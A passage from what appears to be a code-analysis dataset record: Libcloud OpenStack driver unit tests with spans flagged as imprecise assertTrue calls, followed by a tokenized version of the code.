self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_0_Tests.test_reboot_node", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 314 }, { "content": " def test_destroy_node(self):\n node = Node(id=72258, name=None, state=None, public_ips=None,\n private_ips=None, driver=self.driver)\n ret = node.destroy()\n self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_0_Tests.test_destroy_node", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 320 }, { "content": " def test_ex_limits(self):\n limits = self.driver.ex_limits()\n self.assertTrue(\"rate\" in limits)\n self.assertTrue(\"absolute\" in limits)", "metadata": "root.OpenStack_1_0_Tests.test_ex_limits", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 326 }, { "content": " def test_ex_list_ip_addresses(self):\n ret = self.driver.ex_list_ip_addresses(node_id=72258)\n self.assertEqual(2, len(ret.public_addresses))\n self.assertTrue('67.23.10.131' in ret.public_addresses)\n self.assertTrue('67.23.10.132' in ret.public_addresses)\n self.assertEqual(1, len(ret.private_addresses))\n self.assertTrue('10.176.42.16' in ret.private_addresses)", "metadata": "root.OpenStack_1_0_Tests.test_ex_list_ip_addresses", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 344 }, { "content": " def test_ex_list_ip_groups(self):\n ret = self.driver.ex_list_ip_groups()\n self.assertEqual(2, len(ret))\n self.assertEqual('1234', ret[0].id)\n self.assertEqual('Shared IP Group 1', ret[0].name)\n self.assertEqual('5678', ret[1].id)\n self.assertEqual('Shared IP Group 2', ret[1].name)\n self.assertTrue(ret[0].servers is None)", "metadata": "root.OpenStack_1_0_Tests.test_ex_list_ip_groups", "header": "['class', 'OpenStack_1_0_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 352 }, { "content": " def _v1_0_slug_servers_EX_SHARED_IP_GROUP(self, method, url, body, headers):\n # test_create_node_ex_shared_ip_group\n # Verify that the body contains sharedIpGroupId XML element\n body = u(body)\n self.assertTrue(body.find('sharedIpGroupId=\"12345\"') != -1)\n body = self.fixtures.load('v1_slug_servers.xml')\n return (httplib.ACCEPTED, body, XML_HEADERS, httplib.responses[httplib.ACCEPTED])", "metadata": "root.OpenStackMockHttp._v1_0_slug_servers_EX_SHARED_IP_GROUP", "header": "['class', 'OpenStackMockHttp', '(', 'MockHttpTestCase', ')', ':', '___EOS___']", "index": 538 }, { "content": " def test_list_nodes(self):\n nodes = self.driver.list_nodes()\n self.assertEqual(len(nodes), 2)\n node = nodes[0]\n\n self.assertEqual('12065', node.id)\n\n # test public IPv4\n self.assertTrue('12.16.18.28' in node.public_ips)\n self.assertTrue('50.57.94.35' in node.public_ips)\n\n # fixed public ip\n self.assertTrue('1.1.1.1' in node.public_ips)\n\n # floating public ip\n self.assertTrue('2.2.2.2' in node.public_ips)\n\n # test public IPv6\n self.assertTrue(\n '2001:4801:7808:52:16:3eff:fe47:788a' in node.public_ips)\n\n # test private IPv4\n self.assertTrue('10.182.64.34' in node.private_ips)\n\n # fixed private ip\n self.assertTrue('10.3.3.3' in node.private_ips)\n\n # floating private ip\n self.assertTrue('192.168.3.3' in node.private_ips)\n self.assertTrue('172.16.1.1' in node.private_ips)\n\n # test private IPv6\n self.assertTrue(\n 'fec0:4801:7808:52:16:3eff:fe60:187d' in node.private_ips)\n\n # test creation date\n self.assertEqual(node.created_at, datetime.datetime(2011, 10, 11, 0, 51, 39, tzinfo=UTC))\n\n self.assertEqual(node.extra.get('flavorId'), '2')\n self.assertEqual(node.extra.get('imageId'), '7')\n self.assertEqual(node.extra.get('metadata'), {})\n self.assertEqual(node.extra['updated'], '2011-10-11T00:50:04Z')\n self.assertEqual(node.extra['created'], '2011-10-11T00:51:39Z')\n self.assertEqual(node.extra.get('userId'), 'rs-reach')\n self.assertEqual(node.extra.get('hostId'), '912566d83a13fbb357ea'\n '3f13c629363d9f7e1ba3f'\n '925b49f3d2ab725')\n self.assertEqual(node.extra.get('disk_config'), 'AUTO')\n self.assertEqual(node.extra.get('task_state'), 'spawning')\n self.assertEqual(node.extra.get('vm_state'), 'active')\n self.assertEqual(node.extra.get('power_state'), 1)\n self.assertEqual(node.extra.get('progress'), 25)\n self.assertEqual(node.extra.get('fault')['id'], 1234)\n self.assertTrue(node.extra.get('service_name') is not None)\n self.assertTrue(node.extra.get('uri') is not None)", "metadata": "root.OpenStack_1_1_Tests.test_list_nodes", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 749 }, { "content": " def test_list_key_pairs(self):\n keypairs = self.driver.list_key_pairs()\n self.assertEqual(len(keypairs), 2, 'Wrong keypairs count')\n keypair = keypairs[1]\n self.assertEqual(keypair.name, 'key2')\n self.assertEqual(\n keypair.fingerprint, '5d:66:33:ae:99:0f:fb:cb:86:f2:bc:ae:53:99:b6:ed')\n self.assertTrue(len(keypair.public_key) > 10)\n self.assertEqual(keypair.private_key, None)", "metadata": "root.OpenStack_1_1_Tests.test_list_key_pairs", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1230 }, { "content": " def test_create_key_pair(self):\n name = 'key0'\n keypair = self.driver.create_key_pair(name=name)\n self.assertEqual(keypair.name, name)\n\n self.assertEqual(keypair.fingerprint,\n '80:f8:03:a7:8e:c1:c3:b1:7e:c5:8c:50:04:5e:1c:5b')\n self.assertTrue(len(keypair.public_key) > 10)\n self.assertTrue(len(keypair.private_key) > 10)", "metadata": "root.OpenStack_1_1_Tests.test_create_key_pair", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1250 }, { "content": " def test_ex_pause_node(self):\n node = Node(\n id='12063', name=None, state=None,\n public_ips=None, private_ips=None, driver=self.driver,\n )\n ret = self.driver.ex_pause_node(node)\n self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_1_Tests.test_ex_pause_node", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1395 }, { "content": " def test_ex_unpause_node(self):\n node = Node(\n id='12063', name=None, state=None,\n public_ips=None, private_ips=None, driver=self.driver,\n )\n ret = self.driver.ex_unpause_node(node)\n self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_1_Tests.test_ex_unpause_node", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1403 }, { "content": " def test_ex_suspend_node(self):\n node = Node(\n id='12063', name=None, state=None,\n public_ips=None, private_ips=None, driver=self.driver,\n )\n ret = self.driver.ex_suspend_node(node)\n self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_1_Tests.test_ex_suspend_node", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1411 }, { "content": " def test_ex_resume_node(self):\n node = Node(\n id='12063', name=None, state=None,\n public_ips=None, private_ips=None, driver=self.driver,\n )\n ret = self.driver.ex_resume_node(node)\n self.assertTrue(ret is True)", "metadata": "root.OpenStack_1_1_Tests.test_ex_resume_node", "header": "['class', 'OpenStack_1_1_Tests', '(', 'unittest', '.', 'TestCase', ',', 'TestCaseMixin', ')', ':', '___EOS___']", "index": 1419 }, { "content": " def _v1_1_slug_servers_12066_action(self, method, url, body, headers):\n if method != \"POST\":\n self.fail('HTTP method other than POST to action URL')\n if \"rebuild\" not in json.loads(body):\n self.fail(\"Did not get expected action (rebuild) in action URL\")\n\n self.assertTrue('\\\"OS-DCF:diskConfig\\\": \\\"MANUAL\\\"' in body,\n msg=\"Manual disk configuration option was not specified in rebuild body: \" + body)\n\n return (httplib.ACCEPTED, \"\", {}, httplib.responses[httplib.ACCEPTED])", "metadata": "root.OpenStack_1_1_MockHttp._v1_1_slug_servers_12066_action", "header": "['class', 'OpenStack_1_1_MockHttp', '(', 'MockHttpTestCase', ')', ':', '___EOS___']", "index": 1586 } ]
[ { "span": "self.assertTrue('10.176.168.218' in node.private_ips)", "start_line": 236, "start_column": 8, "end_line": 236, "end_column": 61 }, { "span": "self.assertTrue(ret is True)", "start_line": 318, "start_column": 8, "end_line": 318, "end_column": 36 }, { "span": "self.assertTrue(ret is True)", "start_line": 324, "start_column": 8, "end_line": 324, "end_column": 36 }, { "span": "self.assertTrue(\"rate\" in limits)", "start_line": 328, "start_column": 8, "end_line": 328, "end_column": 41 }, { "span": "self.assertTrue(\"absolute\" in limits)", "start_line": 329, "start_column": 8, "end_line": 329, "end_column": 45 }, { "span": "self.assertTrue('67.23.10.131' in ret.public_addresses)", "start_line": 347, "start_column": 8, "end_line": 347, "end_column": 63 }, { "span": "self.assertTrue('67.23.10.132' in ret.public_addresses)", "start_line": 348, "start_column": 8, "end_line": 348, "end_column": 63 }, { "span": "self.assertTrue('10.176.42.16' in ret.private_addresses)", "start_line": 350, "start_column": 8, "end_line": 350, "end_column": 64 }, { "span": "self.assertTrue(ret[0].servers is None)", "start_line": 359, "start_column": 8, "end_line": 359, "end_column": 47 }, { "span": "self.assertTrue(body.find('sharedIpGroupId=\"12345\"') != -1)", "start_line": 542, "start_column": 8, "end_line": 542, "end_column": 67 }, { "span": "self.assertTrue('12.16.18.28' in node.public_ips)", "start_line": 757, "start_column": 8, "end_line": 757, "end_column": 57 }, { "span": "self.assertTrue('50.57.94.35' in node.public_ips)", "start_line": 758, "start_column": 8, "end_line": 758, "end_column": 57 }, { "span": "self.assertTrue('1.1.1.1' in node.public_ips)", "start_line": 761, "start_column": 8, "end_line": 761, "end_column": 53 }, { "span": "self.assertTrue('2.2.2.2' in node.public_ips)", "start_line": 764, "start_column": 8, "end_line": 764, "end_column": 53 }, { "span": "self.assertTrue(\n '2001:4801:7808:52:16:3eff:fe47:788a' in node.public_ips)", "start_line": 767, "start_column": 8, "end_line": 768, "end_column": 69 }, { "span": "self.assertTrue('10.182.64.34' in node.private_ips)", "start_line": 771, "start_column": 8, "end_line": 771, "end_column": 59 }, { "span": "self.assertTrue('10.3.3.3' in node.private_ips)", "start_line": 774, "start_column": 8, "end_line": 774, "end_column": 55 }, { "span": "self.assertTrue('192.168.3.3' in node.private_ips)", "start_line": 777, "start_column": 8, "end_line": 777, "end_column": 58 }, { "span": "self.assertTrue('172.16.1.1' in node.private_ips)", "start_line": 778, "start_column": 8, "end_line": 778, "end_column": 57 }, { "span": "self.assertTrue(\n 'fec0:4801:7808:52:16:3eff:fe60:187d' in node.private_ips)", "start_line": 781, "start_column": 8, "end_line": 782, "end_column": 70 }, { "span": "self.assertTrue(node.extra.get('service_name') is not None)", "start_line": 802, "start_column": 8, "end_line": 802, "end_column": 67 }, { "span": "self.assertTrue(node.extra.get('uri') is not None)", "start_line": 803, "start_column": 8, "end_line": 803, "end_column": 58 }, { "span": "self.assertTrue(len(keypair.public_key) > 10)", "start_line": 1237, "start_column": 8, "end_line": 1237, "end_column": 53 }, { "span": "self.assertTrue(len(keypair.public_key) > 10)", "start_line": 1257, "start_column": 8, "end_line": 1257, "end_column": 53 }, { "span": "self.assertTrue(len(keypair.private_key) > 10)", "start_line": 1258, "start_column": 8, "end_line": 1258, "end_column": 54 }, { "span": "self.assertTrue(ret is True)", "start_line": 1401, "start_column": 8, "end_line": 1401, "end_column": 36 }, { "span": "self.assertTrue(ret is True)", "start_line": 1409, "start_column": 8, "end_line": 1409, "end_column": 36 }, { "span": "self.assertTrue(ret is True)", "start_line": 1417, "start_column": 8, "end_line": 1417, "end_column": 36 }, { "span": "self.assertTrue(ret is True)", "start_line": 1425, "start_column": 8, "end_line": 1425, "end_column": 36 }, { "span": "self.assertTrue('\\\"OS-DCF:diskConfig\\\": \\\"MANUAL\\\"' in body,\n msg=\"Manual disk configuration option was not specified in rebuild body: \" + body)", "start_line": 1592, "start_column": 8, "end_line": 1593, "end_column": 106 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "nodes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Open", "Stack", "Moc", "k", "Http_", "._", "type_", "=_", "'", "EMP", "TY", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "ret_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Open", "Stack", "Moc", "k", "Http_", "._", "type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "ret_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "=_", "ret_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "67.", "23.", "21.", "3", "3", "'_", ",_", "node_", "._", "public", "\\u", "ips_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.1", "76.", "168", ".2", "1", "8", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "flavor", "Id", "'_", ")_", ",_", "'", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "image", "Id", "'_", ")_", ",_", "'", "11", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "type_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "metadata", "'_", ")_", ")_", ",_", "type_", "(_", "dict_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Open", "Stack", "Moc", "k", "Http_", "._", "type_", "=_", "'", "METAD", "ATA", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "ret_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "=_", "ret_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "type_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "metadata", "'_", ")_", ")_", ",_", "type_", "(_", "dict_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "metadata", "'_", ")_", "._", "get_", "(_", "'", "some", "key", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "some", "value", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Open", "Stack", "Moc", "k", "Http_", "._", "type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "rebo", "ot", "\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "id_", "=_", "722", "58_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "public", "\\u", "ips_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "node_", "._", "reboot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "destroy", "\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "id_", "=_", "722", "58_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "public", "\\u", "ips_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "node_", "._", "destroy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "limits_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "limits_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "limits_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "rate", "\"_", "in_", "limits_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "abs", "olute", "\"_", "in_", "limits_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "list", "\\u", "ip", "\\u", "addresses_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "list", "\\u", "ip", "\\u", "addresses_", "(_", "node", "\\u", "id_", "=_", "722", "58_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "ret_", "._", "public", "\\u", "addresses_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "67.", "23.", "10.1", "3", "1", "'_", "in_", "ret_", "._", "public", "\\u", "addresses_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "67.", "23.", "10.1", "32", "'_", "in_", "ret_", "._", "public", "\\u", "addresses_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "1_", ",_", "len_", "(_", "ret_", "._", "private", "\\u", "addresses_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.1", "76.", "42.", "16", "'_", "in_", "ret_", "._", "private", "\\u", "addresses_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "0", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "list", "\\u", "ip", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "list", "\\u", "ip", "\\u", "groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "len_", "(_", "ret_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "1234", "'_", ",_", "ret_", "[_", "0_", "]_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "Share", "d", " ", "IP", " ", "Group", " ", "1", "'_", ",_", "ret_", "[_", "0_", "]_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "5678", "'_", ",_", "ret_", "[_", "1_", "]_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "Share", "d", " ", "IP", " ", "Group", " ", "2", "'_", ",_", "ret_", "[_", "1_", "]_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "[_", "0_", "]_", "._", "servers_", "is_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "Moc", "k", "Http_", "(_", "Moc", "k", "Http", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "v1", "\\u", "0", "\\u", "slug", "\\u", "server", "s", "\\u", "EX", "\\u", "SHARED", "\\u", "IP", "\\u", "GROUP_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test\\u", "create", "\\u", "node", "\\u", "ex", "\\u", "shared", "\\u", "ip", "\\u", "group_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Verify", " ", "tha", "t", " ", "the", " ", "body", " ", "contain", "s", " ", "shared", "Ip", "Group", "Id", " ", "XML", " ", "element_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "=_", "u_", "(_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "body_", "._", "find_", "(_", "'", "shared", "Ip", "Group", "Id", "=\"", "12345", "\"'_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "=_", "self_", "._", "fixtures_", "._", "load_", "(_", "'", "v1", "\\u", "slug", "\\u", "server", "s", ".", "xml", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "httplib_", "._", "ACCEPTED", "_", ",_", "body_", ",_", "XML", "\\u", "HEADERS_", ",_", "httplib_", "._", "responses_", "[_", "httplib_", "._", "ACCEPTED", "_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "nodes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nodes_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "nodes_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "nodes_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "=_", "nodes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "120", "6", "5", "'_", ",_", "node_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "public", " ", "IP", "v4_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "12.", "16.", "18.", "2", "8", "'_", "in_", "node_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "50.", "57.", "94.", "3", "5", "'_", "in_", "node_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fixed", " ", "public", " ", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "1.1", ".1", ".1", "'_", "in_", "node_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "float", "ing", " ", "public", " ", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "2.2", ".2", ".2", "'_", "in_", "node_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "public", " ", "IP", "v6_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "200", "1", ":", "480", "1", ":", "780", "8", ":", "5", "2", ":", "16", ":", "3e", "ff", ":", "fe", "4", "7", ":", "788", "a", "'_", "in_", "node_", "._", "public", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "private", " ", "IP", "v4_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.1", "82.", "64.", "3", "4", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fixed", " ", "private", " ", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "10.", "3.3", ".3", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "float", "ing", " ", "private", " ", "ip_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "192", ".1", "68.", "3.3", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "172", ".1", "6.1", ".1", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "private", " ", "IP", "v6_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fec", "0", ":", "480", "1", ":", "780", "8", ":", "5", "2", ":", "16", ":", "3e", "ff", ":", "fe", "60", ":", "187", "d", "'_", "in_", "node_", "._", "private", "\\u", "ips_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "creati", "on", " ", "date_", 